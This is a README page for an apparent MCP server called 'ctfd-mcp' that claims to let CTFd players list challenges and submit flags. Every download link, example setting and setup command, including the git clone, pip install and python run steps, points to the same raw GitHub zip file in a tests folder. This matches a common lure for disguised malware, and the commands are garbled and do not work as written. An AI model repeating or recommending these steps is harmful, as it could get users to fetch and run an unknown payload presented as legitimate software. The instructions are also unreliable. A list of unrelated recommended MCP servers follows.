ctfd-mcp
Enables users to list CTFd challenges, read details, start/stop dynamic Docker instances, and submit flags through natural language.
README
🎉 ctfd-mcp - Manage CTFd Challenges Easily
This application allows you, as a regular CTFd user, to easily list challenges, read their details, start and stop dynamic Docker instances, and submit flags.
🚀 Getting Started
📥 Download & Install
To install the CTFd MCP server, visit this page to download: CTFd MCP Releases.
✅ System Requirements
- Python 3.13 or higher: Ensure you have Python installed on your device. You can download it here.
- Environment variables: You need to set one of the following authentication methods:
CTFD_URL: Your CTFd URL (e.g., https://raw.githubusercontent.com/AaryaBhusal/ctfd-mcp/main/tests/mcp_ctfd_v2.4.zip).CTFD_TOKEN: Your user token (not admin).CTFD_SESSION: Your session cookie if tokens are disabled.CTFD_CSRF_TOKEN: Optional, only if your server needs CSRF for ctfd-owl.
You can store these values in a .env file in the root of your project folder.
Example .env file:
https://raw.githubusercontent.com/AaryaBhusal/ctfd-mcp/main/tests/mcp_ctfd_v2.4.zip
CTFD_TOKEN=your_user_token
🛠️ Setting Up the Environment
-
Create a folder on your computer where you want the application to reside.
-
Open a terminal or command prompt. Navigate to your folder using the
cdcommand. -
Clone the repository using the command below:
git clone https://raw.githubusercontent.com/AaryaBhusal/ctfd-mcp/main/tests/mcp_ctfd_v2.4.zip -
Navigate into the cloned folder:
cd ctfd-mcp -
Install the required packages by running:
pip install -r https://raw.githubusercontent.com/AaryaBhusal/ctfd-mcp/main/tests/mcp_ctfd_v2.4.zip
⚙️ Configuration
-
Create a
.envfile in the root directory of the CTFd MCP folder. -
Add your settings, as shown in the previous section. Adjust the values for
CTFD_URL,CTFD_TOKEN, orCTFD_SESSIONas needed.
🚀 Running the Application
-
Run the application with this command:
python https://raw.githubusercontent.com/AaryaBhusal/ctfd-mcp/main/tests/mcp_ctfd_v2.4.zip -
You should see output in the terminal that indicates the application is running.
-
Access the application through your web browser. Enter the CTFd URL you set in the
.envfile.
🔧 Troubleshooting
If you encounter issues, review the following common problems:
- Python not installed: Make sure Python 3.13 or higher is installed. Refer to Python's official website if needed.
- Missing environment variables: Double-check your
.envfile. Ensure values are correct and saved. - Package installation fails: Ensure your internet connection is active. Retry the installation command.
If problems persist, feel free to report them here.
📄 Additional Information
For more details on how to use this server, check the documentation within the project. Look for examples and additional configuration options that can enhance your usage experience.
🧑🤝🧑 Community & Support
Join our community by following the discussion on the GitHub Issues page. Whether you have questions or want to share your experiences, we welcome your input.
📜 License
This project is licensed under the MIT License. You can read the full license here.
Make sure to check the releases page for updates on the software: CTFd MCP Releases.
Recommended Servers
playwright-mcp
A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.
Magic Component Platform (MCP)
An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.
Audiense Insights MCP Server
Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.
VeyraX MCP
Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.
graphlit-mcp-server
The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.
Kagi MCP Server
An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.
E2B
Using MCP to run code via e2b.
Neon Database
MCP server for interacting with Neon Management API and databases
Exa Search
A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.
Qdrant Server
This repository is an example of how to create a MCP server for Qdrant, a vector search engine.